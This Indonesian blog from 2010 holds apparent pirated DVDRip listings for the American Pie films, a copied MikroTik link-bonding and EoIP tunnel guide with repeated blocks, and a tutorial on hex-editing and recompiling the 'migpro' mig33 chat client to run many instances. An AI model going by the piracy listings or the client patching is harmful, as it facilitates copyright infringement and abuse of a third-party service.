Minggu, 21 November 2010
american pie 7
Date Released : 22 December 2009
Quality : DVDRip
Info : imdb.com/title/tt1407050
Lihat : Trailer
Pemain : John White, Steve Talley, Christopher McDonald
Genre : Comedy | Romance
-----------------------------------------Uploader by TheHack3r
-----------------------------------------
Download Subtitle Indonesia
English Download Subtitle English
american pie 6
Date Released : 26 December 2007
Quality : DVDRip
Info : imdb.com/title/tt0974959
Lihat : Trailer
Pemain : John White, Steve Talley, Christopher McDonald
Genre : Comedy | Romance
-----------------------------------------
american pie 5
Date Released : 19 December 2006
Quality : DVDRip
Info : imdb.com/title/tt0436058
Lihat : Trailer
Pemain : John White, Maria Ricossa, Christopher McDonald, Alyssa Nicole Pallett
Genre : Comedy | Romance
-----------------------------------------
Uploader by TheHack3r
-----------------------------------------
Download Subtitle Indonesia
american pie 3
Date Released : 1 August 2003
Quality : DVDRip
Info : imdb.com/title/tt0328828
Lihat : Trailer
Pemain : Jason Biggs, Seann William Scott, Alyson Hannigan
Genre : Comedy | Romance-----------------------------------------
Uploader by TheHack3r
-----------------------------------------
Download Subtitle Indonesia
Download Subtitle English
american pie 2
Date Released : 10 August 2001
download
-----------------------------------------
Download Subtitle Indonesia
Quality : DVDRip
Info : imdb.com/title/tt0252866
Lihat : Trailer
Pemain : Jason Biggs, Alyson Hannigan, Shannon Elizabeth, Chris Klein
Genre : Comedy | Romance
-----------------------------------------Uploader by TheHack3r
-----------------------------------------
Download Subtitle Indonesia
american pie 1
Date Released : 9 July 1999
Quality : DVDRip
Info : imdb.com/title/tt0163651
Lihat : Trailer
Pemain : Jason Biggs, Chris Klein, Thomas Ian Nicholas, Alyson Hannigan, Shannon Elizabeth, Tara Reid
Genre : Comedy | Romance
-----------------------------------------Uploader by TheHack3r
-----------------------------------------
Download Subtitle Indonesia
Senin, 15 November 2010
doraemon jar
app jar ini cocok banget buat cewek2 pencinta doraemon.. :D :D
silahkan download disini
yang pengen di buatkan app jar langsung ajah cari ID lakebba
Jumat, 12 November 2010
bonding mikrotik
Bonding is a technology that allows to aggregate multiple ethernet-like interfaces into a single virtual link, thus getting higher data rates and providing failover.
Quick Setup Guide
Let us assume that we have 2 NICs in each router (Router1 and Router2) and want to get maximum data rate between 2 routers. To make this possible, follow these steps:
1. Make sure that you do not have IP addresses on interfaces which will be enslaved for bonding interface!
2.
Add bonding interface on Router1:
3.
Add addresses to bonding interfaces:
4.
Test the link from Router1:
Note that bonding interface needs a couple of seconds to get connectivity with its peer.
Specifications
Packages required: system
License required: Level1
Submenu level: /interface bonding
Standards and Technologies: None
Hardware usage: Not significant
Related Documents
* Linux Ethernet Bonding Driver mini-howto
Description
To provide a proper failover, you should specify link-monitoring parameter. It can be:
* MII (Media Independent Interface) type1 or type2 - Media Independent Interface is an abstract layer between the operating system and the NIC which detects whether the link is running (it performs also other functions, but in our case this is the most important).
* ARP - Address Resolution Protocol periodically (for arp-interval time) checks the link status.
link-monitoring is used to check whether the link is up or not.
Property Description
arp (disabled | enabled | proxy-arp | reply-only; default: enabled) - Address Resolution Protocol for the interface
disabled - the interface will not use ARP
enabled - the interface will use ARP
proxy-arp - the interface will use the ARP proxy feature
reply-only - the interface will only reply to the requests originated to its own IP addresses. Neighbour MAC addresses will be resolved using /ip arp statically set table only
arp-interval (time; default: 00:00:00.100) - time in milliseconds which defines how often to monitor ARP requests
arp-ip-targets (IP address; default: "") - IP target address which will be monitored if link-monitoring is set to arp. You can specify multiple IP addresses, separated by comma
down-delay (time; default: 00:00:00) - if a link failure has been detected, bonding interface is disabled for down-delay time. Value should be a multiple of mii-interval
lacp-rate (1sec | 30secs; default: 30secs) - Link Aggregation Control Protocol rate specifies how often to exchange with LACPDUs between bonding peer. Used to determine whether link is up or other changes have occured in the network. LACP tries to adapt to these changes providing failover.
link-monitoring (arp | mii-type1 | mii-type2 | none; default: none) - method to use for monitoring the link (whether it is up or down)
arp - uses Address Resolution Protocol to determine whether the remote interface is reachable
mii-type1 - uses Media Independent Interface type1 to determine link status. Link status determenation relies on the device driver. If bonding shows that the link status is up, when it should not be, then it means that this card don't support this possibility.
mii-type2 - uses MII type2 to determine link status (used if mii-type1 is not supported by the NIC)
none - no method for link monitoring is used. If a link fails, it is not considered as down (but no traffic passes through it, thus).
mac-address (read-only: MAC address) - MAC address of the bonding interface
mii-interval (time; default: 00:00:00.100) - how often to monitor the link for failures (parameter used only if link-monitoring is mii-type1 or mii-type2)
mtu (integer: 68..1500; default: 1500) - Maximum Transmit Unit in bytes
mode (802.3ad | active-backup | balance-alb | balance-rr | balance-tlb | balance-xor | broadcast; default: balance-rr) - interface bonding mode. Can be one of:
802.3ad - IEEE 802.3ad dynamic link aggregation. In this mode, the interfaces are aggregated in a group where each slave shares the same speed. If you use a switch between 2 bonding routers, be sure that this switch supports IEEE 802.3ad standard. Provides fault tolerance and load balancing.
active-backup - provides link backup. Only one slave can be active at a time. Another slave becomes active only, if first one fails.
balance-alb - adaptive load balancing. It includes balance-tlb and received traffic is also balanced. Device driver should support for setting the mac address, then it is active. Otherwise balance-alb doesn't work. No special switch is required.
balance-rr - round-robin load balancing. Slaves in bonding interface will transmit and receive data in sequential order. Provides load balancing and fault tolerance.
balance-tlb - Outgoing traffic is distributed according to the current load on each slave. Incoming traffic is received by the current slave. If receiving slave fails, then another slave takes the MAC address of the failed slave. Doesn't require any special switch support.
balance-xor - Use XOR policy for transmit. Provides only failover (in very good quality), but not load balancing, yet.
broadcast - Broadcasts the same data on all interfaces at once. This provides fault tolerance but slows down traffic throughput on some slow machines.
name (name) - descriptive name of bonding interface
primary (name; default: none) - Interface is used as primary output media. If primary interface fails, only then others slaves will be used. This value works only with mode=active-backup
slaves (name) - at least two ethernet-like interfaces separated by a comma, which will be used for bonding
up-delay (time; default: 00:00:00) - if a link has been brought up, bonding interface is disabled for up-delay time and after this time it is enabled. Value should be a multiple of mii-interval
Notes
Link failure detection and failover is working significantly better with expensive network cards, for example, made by Intel, then with more cheap ones. For example, on Intel cards failover is taking place in less than a second after link loss, while on some other cards, it may require up to 20 seconds. Also, the Active load balancing (mode=balance-alb) does not work on some cheap cards.
aplication example
Bonding two Eoip tunnels
Assume you need to configure the MikroTik router for the following network setup, where you have two offices with 2 ISP for each. You want combine links for getting double speed and provide failover:
We are assuming that connections to Internet through two ISP are configured for both routers.
* Configuration on routers
o
on Office1
o
on Office2
* Eoip tunnel confguration
o
for Office1 through ISP1
o
for Office2 through ISP1
[admin@office2] > interface eoip add remote-address=10.1.0.111 tunnel-id=2
\... mac-address=FE:FD:00:00:00:02
[admin@office2] > interface eoip print
Flags: X - disabled, R - running
0 R name="eoip-tunnel2" mtu=1500 mac-address=FE:FD:00:00:00:02 arp=enabled
\... remote-address=10.1.0.111 tunnel-id=2
o
for Office1through ISP2
o
for Office2through ISP2
* Bonding confguration
o
for Office1
o
for Office2
Quick Setup Guide
Let us assume that we have 2 NICs in each router (Router1 and Router2) and want to get maximum data rate between 2 routers. To make this possible, follow these steps:
1. Make sure that you do not have IP addresses on interfaces which will be enslaved for bonding interface!
2.
Add bonding interface on Router1:
Code:
[admin@Router1] interface bonding> add slaves=ether1,ether2
And on Router2:
[admin@Router2] interface bonding> add slaves=ether1,ether2
And on Router2:
[admin@Router2] interface bonding> add slaves=ether1,ether2
3.
Add addresses to bonding interfaces:
Code:
[admin@Router1] ip address> add address=172.16.0.1/24 interface=bonding1
[admin@Router2] ip address> add address=172.16.0.2/24 interface=bonding1
[admin@Router2] ip address> add address=172.16.0.2/24 interface=bonding1
4.
Test the link from Router1:
Code:
[admin@Router1] interface bonding> /pi 172.16.0.2
172.16.0.2 ping timeout
172.16.0.2 ping timeout
172.16.0.2 ping timeout
172.16.0.2 64 byte ping: ttl=64 time=2 ms
172.16.0.2 64 byte ping: ttl=64 time=2 ms
172.16.0.2 ping timeout
172.16.0.2 ping timeout
172.16.0.2 ping timeout
172.16.0.2 64 byte ping: ttl=64 time=2 ms
172.16.0.2 64 byte ping: ttl=64 time=2 ms
Note that bonding interface needs a couple of seconds to get connectivity with its peer.
Specifications
Packages required: system
License required: Level1
Submenu level: /interface bonding
Standards and Technologies: None
Hardware usage: Not significant
Related Documents
* Linux Ethernet Bonding Driver mini-howto
Description
To provide a proper failover, you should specify link-monitoring parameter. It can be:
* MII (Media Independent Interface) type1 or type2 - Media Independent Interface is an abstract layer between the operating system and the NIC which detects whether the link is running (it performs also other functions, but in our case this is the most important).
* ARP - Address Resolution Protocol periodically (for arp-interval time) checks the link status.
link-monitoring is used to check whether the link is up or not.
Property Description
arp (disabled | enabled | proxy-arp | reply-only; default: enabled) - Address Resolution Protocol for the interface
disabled - the interface will not use ARP
enabled - the interface will use ARP
proxy-arp - the interface will use the ARP proxy feature
reply-only - the interface will only reply to the requests originated to its own IP addresses. Neighbour MAC addresses will be resolved using /ip arp statically set table only
arp-interval (time; default: 00:00:00.100) - time in milliseconds which defines how often to monitor ARP requests
arp-ip-targets (IP address; default: "") - IP target address which will be monitored if link-monitoring is set to arp. You can specify multiple IP addresses, separated by comma
down-delay (time; default: 00:00:00) - if a link failure has been detected, bonding interface is disabled for down-delay time. Value should be a multiple of mii-interval
lacp-rate (1sec | 30secs; default: 30secs) - Link Aggregation Control Protocol rate specifies how often to exchange with LACPDUs between bonding peer. Used to determine whether link is up or other changes have occured in the network. LACP tries to adapt to these changes providing failover.
link-monitoring (arp | mii-type1 | mii-type2 | none; default: none) - method to use for monitoring the link (whether it is up or down)
arp - uses Address Resolution Protocol to determine whether the remote interface is reachable
mii-type1 - uses Media Independent Interface type1 to determine link status. Link status determenation relies on the device driver. If bonding shows that the link status is up, when it should not be, then it means that this card don't support this possibility.
mii-type2 - uses MII type2 to determine link status (used if mii-type1 is not supported by the NIC)
none - no method for link monitoring is used. If a link fails, it is not considered as down (but no traffic passes through it, thus).
mac-address (read-only: MAC address) - MAC address of the bonding interface
mii-interval (time; default: 00:00:00.100) - how often to monitor the link for failures (parameter used only if link-monitoring is mii-type1 or mii-type2)
mtu (integer: 68..1500; default: 1500) - Maximum Transmit Unit in bytes
mode (802.3ad | active-backup | balance-alb | balance-rr | balance-tlb | balance-xor | broadcast; default: balance-rr) - interface bonding mode. Can be one of:
802.3ad - IEEE 802.3ad dynamic link aggregation. In this mode, the interfaces are aggregated in a group where each slave shares the same speed. If you use a switch between 2 bonding routers, be sure that this switch supports IEEE 802.3ad standard. Provides fault tolerance and load balancing.
active-backup - provides link backup. Only one slave can be active at a time. Another slave becomes active only, if first one fails.
balance-alb - adaptive load balancing. It includes balance-tlb and received traffic is also balanced. Device driver should support for setting the mac address, then it is active. Otherwise balance-alb doesn't work. No special switch is required.
balance-rr - round-robin load balancing. Slaves in bonding interface will transmit and receive data in sequential order. Provides load balancing and fault tolerance.
balance-tlb - Outgoing traffic is distributed according to the current load on each slave. Incoming traffic is received by the current slave. If receiving slave fails, then another slave takes the MAC address of the failed slave. Doesn't require any special switch support.
balance-xor - Use XOR policy for transmit. Provides only failover (in very good quality), but not load balancing, yet.
broadcast - Broadcasts the same data on all interfaces at once. This provides fault tolerance but slows down traffic throughput on some slow machines.
name (name) - descriptive name of bonding interface
primary (name; default: none) - Interface is used as primary output media. If primary interface fails, only then others slaves will be used. This value works only with mode=active-backup
slaves (name) - at least two ethernet-like interfaces separated by a comma, which will be used for bonding
up-delay (time; default: 00:00:00) - if a link has been brought up, bonding interface is disabled for up-delay time and after this time it is enabled. Value should be a multiple of mii-interval
Notes
Link failure detection and failover is working significantly better with expensive network cards, for example, made by Intel, then with more cheap ones. For example, on Intel cards failover is taking place in less than a second after link loss, while on some other cards, it may require up to 20 seconds. Also, the Active load balancing (mode=balance-alb) does not work on some cheap cards.
aplication example
Bonding two Eoip tunnels
Assume you need to configure the MikroTik router for the following network setup, where you have two offices with 2 ISP for each. You want combine links for getting double speed and provide failover:
We are assuming that connections to Internet through two ISP are configured for both routers.
* Configuration on routers
o
on Office1
Code:
[admin@office1] > /interface print
Flags: X - disabled, D - dynamic, R - running
# NAME TYPE RX-RATE TX-RATE MTU
0 R isp1 ether 0 0 1500
1 R isp2 ether 0 0 1500
[admin@office1] > /ip address print
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 1.1.1.1/24 1.1.1.0 1.1.1.255 isp2
1 10.1.0.111/24 10.1.0.0 10.1.0.255 isp1
Flags: X - disabled, D - dynamic, R - running
# NAME TYPE RX-RATE TX-RATE MTU
0 R isp1 ether 0 0 1500
1 R isp2 ether 0 0 1500
[admin@office1] > /ip address print
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 1.1.1.1/24 1.1.1.0 1.1.1.255 isp2
1 10.1.0.111/24 10.1.0.0 10.1.0.255 isp1
o
on Office2
Code:
[admin@office2] interface> print
Flags: X - disabled, D - dynamic, R - running
# NAME TYPE RX-RATE TX-RATE MTU
0 R isp2 ether 0 0 1500
1 R isp1 ether 0 0 1500
[admin@office2] interface> /ip add print
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 2.2.2.1/24 2.2.2.0 2.2.2.255 isp2
1 10.1.0.112/24 10.1.0.0 10.1.0.255 isp1
Flags: X - disabled, D - dynamic, R - running
# NAME TYPE RX-RATE TX-RATE MTU
0 R isp2 ether 0 0 1500
1 R isp1 ether 0 0 1500
[admin@office2] interface> /ip add print
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 2.2.2.1/24 2.2.2.0 2.2.2.255 isp2
1 10.1.0.112/24 10.1.0.0 10.1.0.255 isp1
* Eoip tunnel confguration
o
for Office1 through ISP1
Code:
[admin@office1] > interface eoip add remote-address=10.1.0.112 tunnel-id=2
\... mac-address=FE:FD:00:00:00:04
[admin@office1] > interface eoip print
Flags: X - disabled, R - running
0 R name="eoip-tunnel2" mtu=1500 mac-address==FE:FD:00:00:00:04 arp=enabled
\... remote-address=10.1.0.112 tunnel-id=2
\... mac-address=FE:FD:00:00:00:04
[admin@office1] > interface eoip print
Flags: X - disabled, R - running
0 R name="eoip-tunnel2" mtu=1500 mac-address==FE:FD:00:00:00:04 arp=enabled
\... remote-address=10.1.0.112 tunnel-id=2
o
for Office2 through ISP1
Code:
[admin@office2] > interface eoip add remote-address=10.1.0.111 tunnel-id=2
\... mac-address=FE:FD:00:00:00:02
[admin@office2] > interface eoip print
Flags: X - disabled, R - running
0 R name="eoip-tunnel2" mtu=1500 mac-address=FE:FD:00:00:00:02 arp=enabled
\... remote-address=10.1.0.111 tunnel-id=2
o
for Office1through ISP2
Code:
[admin@office1] > interface eoip add remote-address=2.2.2.1 tunnel-id=1
\... mac-address=FE:FD:00:00:00:03
[admin@office1] interface eoip> print
Flags: X - disabled, R - running
0 R name="eoip-tunnel1" mtu=1500 mac-address=FE:FD:00:00:00:03 arp=enabled
remote-address=2.2.2.1 tunnel-id=1
1 R name="eoip-tunnel2" mtu=1500 mac-address=FE:FD:00:00:00:04 arp=enabled
remote-address=10.1.0.112 tunnel-id=2
\... mac-address=FE:FD:00:00:00:03
[admin@office1] interface eoip> print
Flags: X - disabled, R - running
0 R name="eoip-tunnel1" mtu=1500 mac-address=FE:FD:00:00:00:03 arp=enabled
remote-address=2.2.2.1 tunnel-id=1
1 R name="eoip-tunnel2" mtu=1500 mac-address=FE:FD:00:00:00:04 arp=enabled
remote-address=10.1.0.112 tunnel-id=2
o
for Office2through ISP2
Code:
[admin@office2] > interface eoip add remote-address=1.1.1.1 tunnel-id=1
\... mac-address=FE:FD:00:00:00:01
[admin@office2] interface eoip> print
Flags: X - disabled, R - running
0 R name="eoip-tunnel1" mtu=1500 mac-address=FE:FD:00:00:00:01 arp=enabled
remote-address=1.1.1.1 tunnel-id=1
1 R name="eoip-tunnel2" mtu=1500 mac-address=FE:FD:00:00:00:02 arp=enabled
remote-address=10.1.0.111 tunnel-id=2
\... mac-address=FE:FD:00:00:00:01
[admin@office2] interface eoip> print
Flags: X - disabled, R - running
0 R name="eoip-tunnel1" mtu=1500 mac-address=FE:FD:00:00:00:01 arp=enabled
remote-address=1.1.1.1 tunnel-id=1
1 R name="eoip-tunnel2" mtu=1500 mac-address=FE:FD:00:00:00:02 arp=enabled
remote-address=10.1.0.111 tunnel-id=2
* Bonding confguration
o
for Office1
Code:
[admin@office1] interface bonding> add slaves=eoip-tunnel1,eoip-tunnel2
[admin@office1] interface bonding> print
Flags: X - disabled, R - running
0 R name="bonding1" mtu=1500 mac-address=00:0C:42:03:20:E7 arp=enabled
slaves=eoip-tunnel1,eoip-tunnel2 mode=balance-rr primary=none
link-monitoring=none arp-interval=00:00:00.100 arp-ip-targets=""
mii-interval=00:00:00.100 down-delay=00:00:00 up-delay=00:00:00
lacp-rate=30secs
[admin@office1] ip address> add address=3.3.3.1/24 interface=bonding1
[admin@office1] ip address> print
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 1.1.1.1/24 1.1.1.0 1.1.1.255 isp2
1 10.1.0.111/24 10.1.0.0 10.1.0.255 isp1
2 3.3.3.1/24 3.3.3.0 3.3.3.255 bonding1
[admin@office1] interface bonding> print
Flags: X - disabled, R - running
0 R name="bonding1" mtu=1500 mac-address=00:0C:42:03:20:E7 arp=enabled
slaves=eoip-tunnel1,eoip-tunnel2 mode=balance-rr primary=none
link-monitoring=none arp-interval=00:00:00.100 arp-ip-targets=""
mii-interval=00:00:00.100 down-delay=00:00:00 up-delay=00:00:00
lacp-rate=30secs
[admin@office1] ip address> add address=3.3.3.1/24 interface=bonding1
[admin@office1] ip address> print
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 1.1.1.1/24 1.1.1.0 1.1.1.255 isp2
1 10.1.0.111/24 10.1.0.0 10.1.0.255 isp1
2 3.3.3.1/24 3.3.3.0 3.3.3.255 bonding1
o
for Office2
Code:
[admin@office2] interface bonding> add slaves=eoip-tunnel1,eoip-tunnel2
[admin@office2] interface bonding> print
Flags: X - disabled, R - running
0 R name="bonding1" mtu=1500 mac-address=00:0C:42:03:20:E7 arp=enabled
slaves=eoip-tunnel1,eoip-tunnel2 mode=balance-rr primary=none
link-monitoring=none arp-interval=00:00:00.100 arp-ip-targets=""
mii-interval=00:00:00.100 down-delay=00:00:00 up-delay=00:00:00
lacp-rate=30secs
[admin@office2] ip address> add address=3.3.3.2/24 interface=bonding1
[admin@office2] ip address> print
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 2.2.2.1/24 2.2.2.0 2.2.2.255 isp2
1 10.1.0.112/24 10.1.0.0 10.1.0.255 isp1
2 3.3.3.2/24 3.3.3.0 3.3.3.255 bonding1
[admin@office2] ip address> /ping 3.3.3.1
3.3.3.1 64 byte ping: ttl=64 time=2 ms
3.3.3.1 64 byte ping: ttl=64 time=2 ms
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 2/2.0/2 ms
[admin@office2] interface bonding> print
Flags: X - disabled, R - running
0 R name="bonding1" mtu=1500 mac-address=00:0C:42:03:20:E7 arp=enabled
slaves=eoip-tunnel1,eoip-tunnel2 mode=balance-rr primary=none
link-monitoring=none arp-interval=00:00:00.100 arp-ip-targets=""
mii-interval=00:00:00.100 down-delay=00:00:00 up-delay=00:00:00
lacp-rate=30secs
[admin@office2] ip address> add address=3.3.3.2/24 interface=bonding1
[admin@office2] ip address> print
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 2.2.2.1/24 2.2.2.0 2.2.2.255 isp2
1 10.1.0.112/24 10.1.0.0 10.1.0.255 isp1
2 3.3.3.2/24 3.3.3.0 3.3.3.255 bonding1
[admin@office2] ip address> /ping 3.3.3.1
3.3.3.1 64 byte ping: ttl=64 time=2 ms
3.3.3.1 64 byte ping: ttl=64 time=2 ms
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 2/2.0/2 ms
mengutak atik migpro
mungkin udah pada tau cara negdit migpro yak tapi ini aku tampilin lagi buat yang masih mo ngoprek migpro aku dah ijin ama om vortex..kebetulan dari forum terdahulu aku punya back upnya...so here you go:
Haloo..
Karena bnyk pertanyaan ke gw ttg ngedit aplikasi migpro, gw tulis aja d tutorial singkat bwt ngedit migpro lo..
Tutorial yg bakalan lo baca ini cm bwt ngedit gmn si migpro ngebaca file konfigurasi (setup.ini) sm tampilan migpro itu sendiri..
Jd bkn ngedit fitur2nya migpro itu..
Smoga aja yg bikin migpro ga ngamuk aplikasinya diacak2 hehehe..
Klo lo blm punya migpro yg asli, dongdot dolo dr link dbwh ini..
Isi file zip nya:
1. migpro.exe (aplikasi migpro yg dah jd)
2. setup.ini (file konfigurasi migpro)
3. migpro.asm (source code migpro)
4. makeit.bat (file batch bwt kompilasi migpro)
5. rsrc.res (resources file)
6. ReadmeFirst.txt
Migpro yg asli ini make alamat IP 66.151.149.102 bwt konek ke server mig33.
Sblm qta mulai, ada baiknya klo qta nyamain lingkungan kerja dl..
1. Bikin folder baru di drive C, namanya "migpro", jd lengkapnya "C:\migpro"
2. Duplikasi file "migpro.exe", "migpro.asm", "makeit.bat" dan "migpro.ini" ke folder "C:\migpro"
3. Simpen aja nama file ky yg gw kasi tau dlm tutorial ini (ntar sljtnya lo bs bikin nama file sendiri abis nyelesain tutorial ini)
4. "Buka file" dan "Simpan file" dlm tutorial ini artinya buka dan simpan file dari dan ke folder "C:\migpro"
BAGIAN I - MODIFIKASI MIGPRO - TINGKAT PEMULA
Perlengkapan:
1. UltraEdit
gw make UltraEdit yg v6, jd kecil filenya..
klo UltraEdit yg paling baru kynya gede deh..
klo ga mau pake UltraEdit yg gede itu, coba pake Notepad++
Notepad++
(cuma sekitar 2 Mb-an)
2. Resource Hacker
Di bagian ini, qta ga perlu aplikasi compiler (bhs indonye ape?) yg ribet..
2 aplikasi diatas dah cukup bwt ngobrak abrik migpro hehehe...
[color=#FFBF001. MODIFIKASI FILE KONFIGURASI DAN ALAMAT IP][/color]
A. Memodifikasi Alamat IP Pada Aplikasi Migpro
Di seksi ini qta bakalan ganti alamat IP yg dipake ama file migpro.exe..
Buka file migpro.exe pake UltraEdit..
Cari teks 66.151.149.102 (jgn lupa centangin Find ASCII di kotak dialog Find nya UltraEdit) ky gmbr dbwh ini:
Klik "0" di 66.151.149.102 trus ketik "1" ky gmbr dbwh ini:
jadinya ky gini ni:
Trus simpen filenya..
Sampe disini qta punya file migpro yg baru yg dah make alamat IP yg baru jg..
Qta bs jalanin tu aplikasi ky biasa..
Trus klo lo mau jalanin migpro skaligus banyak, duplikasi aja file migpro.exe sm setup.ini ke bbrp folder..
Edit smua file setup.ini, beres deh!
B. Memodifikasi File Konfigurasi Pada Aplikasi Migpro
Tapi cara diatas ga mantafff..
Karena qta butuh bnyk folder dgn cara ini..
Skrg qta bkin smua file migpro nya dlm 1 folder..
Buka file migpro.exe yg barusan lo simpen dan cari teks setup.ini ky gmbr dbwh ini:
Ganti teksnya suka2 lo, mislnya set01.ini ky gmbr dbwh ini:
Tapi jgn lebih dr 5 huruf yeh.. Ga muat!
Lagipula itu dosa besar!
Trus simpen filenya dgn nama migpro01.exe
Dan ulangi langkah2 diatas sampe lo punya migpro sebanyak lo suka..
Contohnya, abis lo edit file migpro.exe dan ganti teks setup.ini jd set01.ini trs simpen sbg migpro01.exe, lo bs edit lg teksnya jd set02.ini dan nyimpen filenya jd migpro02.exe and so on and so on..
Skrg lo punya banyak file migpro dlm 1 folder..
Trus jgn lupa duplikasi file ini nya bwt stiap file migpro nya..
Sbg contoh..
migpro01.exe dan set01.ini
...
...
migpro10.exe dan set10.ini
2. MODIFIKASI TAMPILAN MIGPRO
Migpro yg asli bentuknya ky gini ni:
Klo itu kegedean bwt lo, lo bs modif biar jd kcilan dikit, ganti titlebar ato ngapus tombol, ky gmbr dibwh ini:
Buka file migpro1.exe pake Resource Hacker ky gmbr dbwh ini:
Dlm gmbr diatas, lo bisa..
1. Ganti titlebar migpro jd suka2 lo dgn ganti bagian dlm lingkeran merah..
2. Ganti ukuran textfield (nomer 1 & 2) dan tombol2 dgn cara klik bagian yg mo lo modif, trs atur suka2 lo dgn cara ngegeser kursornya ky dlm lingkeran biru..
3. Ganti ukuran window migpro dgn cara ngegeser kursor ky yg ditunjukin dalem lingkeran hijau..
4. Ngapus textfield ato tombol dgn cara klik bagian yg mo diapus trus pencet Delete di kibord..
5. Mengganti teks yg nongol di tombol, contohnya lo bs ganti teks "Rejoin/Join Chat Room" dgn mengganti bagian ini:
Code:
CONTROL "Rejoin/Join Chat Room", 3001, BUTTON, BS_DEFPUSHBUTTON | BS_FLAT | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 136, 23, 117, 14
Edit bagian "Rejoin/Join Chat Room" nya aja yah, jgn bagian lain di baris itu..
Abis lo modif, klik tombol Compile Script ky yg ditunjukin dalem lingkeran kuning, trus simpen filenya dan ulangi langkah2 diatas sampe lo punya sebanyak mungkin file migpro yg lo pengen..
Skrg lo dah punya file2 migpro yg lo pengen dgn titlebar nya beda2, dlm 1 folder..
EKSPERIMEN GW DI TINGKAT PEMULA
Klo lo dah nyobain migpro command center v1.0.2 beta pasti lo liat migpro command center bisa mengatur posisi migpro scara otomatis di desktop..
Sbnrnya bkn migpro command center yg melakukan itu, tapi migpro nya sendiri..
Krn gw ga bs nemuin script yg bikin pengaturan otomatis di desktop, maka gw melakukan sdikit trik biar migpro sendiri yg ngatur dirinya hehehe...
Liat gambar dbwh ini..
dan liat baris code ini..
nilai 10, 10 adalah posisi migpro di desktop (koordinat X dan Y), smntara 258, 95 adalah ukuran windownya..
nilai 10, 10 itu artinya migpro berada di kiri atas desktop, tp ga mepet bgt si di kiri atas..
Gw ganti nilai 10, 10 jd 0, 0 yg hasilnya tu migpro bakalan berada tepat di kiri atas desktop..
tapi nilai ini ga ngaruh klo DS_CENTER masi didefinisikan..
jd gw apus tu DS_CENTER..
dan hasilnya supaya migpro bener2 berada di kiri atas desktop..
trus gw bikin modifikasi tambahan ky gini..
dgn WS_EX_TOOLWINDOW maka migpro ga nongol di taskbar, jd ga bikin taskbar semrawut lg..
catetan:
klo make WS_EX_TOOLWINDOW maka ada fitur JitBit Macro Recorder yg ga jalan..
fitur itu adalah "Switch to a window" command..
makanya klo lo make fitur ini di JitBit, di resource migpro jgn kasi WS_EX_TOOLWINDOW karena JitBit ga bs nemuin window yg ga nongol di taskbar...
trus migpro2 slnjtnya gw edit lg ky diatas, cm beda2 nilai..
slh 1 nya ky gini..
BAGIAN II - MODIFIKASI MIGPRO - TINGKAT MENENGAH
Perlengkapan:
1. UltraEdit ato Notepad++
2. Resource Hacker
3. MASM32
Di bagian ini kita bakalan ngedit migpro dgn cara ngutak atik source code nya..
Klo lo blm punya migpro yg asli, dongdot dolo dr link dbwh ini..
Isi file zip nya:
1. migpro.exe (aplikasi migpro yg dah jd)
2. setup.ini (file konfigurasi migpro)
3. migpro.asm (source code migpro)
4. makeit.bat (file batch bwt kompilasi migpro)
5. rsrc.res (resources file)
6. ReadmeFirst.txt
Migpro yg asli ini make alamat IP 66.151.149.102 bwt konek ke server mig33.
Sblm qta mulai, ada baiknya klo qta nyamain lingkungan kerja dl..
1. Bikin folder baru di drive C, namanya "migpro", jd lengkapnya "C:\migpro"
2. Duplikasi file "migpro.exe", "migpro.asm", "makeit.bat" dan "migpro.ini" ke folder "C:\migpro"
3. Simpen aja nama file ky yg gw kasi tau dlm tutorial ini (ntar sljtnya lo bs bikin nama file sendiri abis nyelesain tutorial ini)
4. "Buka file" dan "Simpan file" dlm tutorial ini artinya buka dan simpan file dari dan ke folder "C:\migpro"
--------------------------------------------------------------------------------
Di bagian ini, qta bisa memodif migpro ky di bagian sblmnya, ditambah ngedit Port krn migpro yg asli tu make Port 25.
Dlm bbrp kasus Port ini bs memicu antivirus bwt bereaksi dan hasilnya Socket error d..
Abis lo menginstalasikan MASM32 (folder standardnya di C:\masm32 dan install aja di folder ini), lo dah bs mulai ngedit source code migpro yg asli (migpro.asm)
--------------------------------------------------------------------------------
1. MODIFIKASI FILE KONFIGURASI, ALAMAT IP DAN PORT
Buka file migpro.asm pake UltraEdit (pake Notepad jg bisa), trus cari baris kode ini:
edit baris yg mengatur file konfigurasi, yg aslinya ky gini:
ganti jd "setup01.ini" ky gini:
(lo bs ganti jd lbh dr 5 huruf ato suka2 lo, tp ikutin aja dl ky gitu.. ntar aja lo coba2 ndiri)
jd ky gini:
trus simpen filenya jd file baru, migpro01.asm
2. MODIFIKASI TAMPILAN MIGPRO
Sekarang qta perlu mengekspor file resources nya..
Kaya yg dah disebutin sebelumnya di Bagian I, seksi 2 ttg cara modifikasi tampilan migpro, qta perlu melakukan ky gitu lg..
cuma bedanya abis qta klik tombol Compile script, ga perlu di save jd file baru, tapi qta save resourcesnya aja dgn cara klik Action di menu Resource Hacker ky gmbr dibwh ini:
Simpen resourcesnya dgn nama file migpro01.res
bisa aja nyimpen dgn nama laen, tp biar gmpang ajalah bwt langkah selanjutnya..
skrg qta dah punya 2 file baru: migpro01.asm dan migpro01.res
3. KOMPILASI MIGPRO
Di bagian sblmnya qta dah punya 2 file baru: migpro01.asm dan migpro01.res
2 file ini yg diperluin bwt proses kompilasi bwt menghasilkan file aplikasi migpro yg baru..
Buka file makeit.bat pake Notepad..
Ni baris2 perintah didlm file makeit.bat..
Skrg qta bisa mengeksekusi file batch nya bwt mengkompilasi migpro..
Dobel klik file makeit.bat dan selanjutnya MASM32 yg bekerja, dan hasilnya kompi lo bakalan mledak wakakakak...
Hasilnya adalah file aplikasi migpro yg baru, yg namanya migpro01.exe
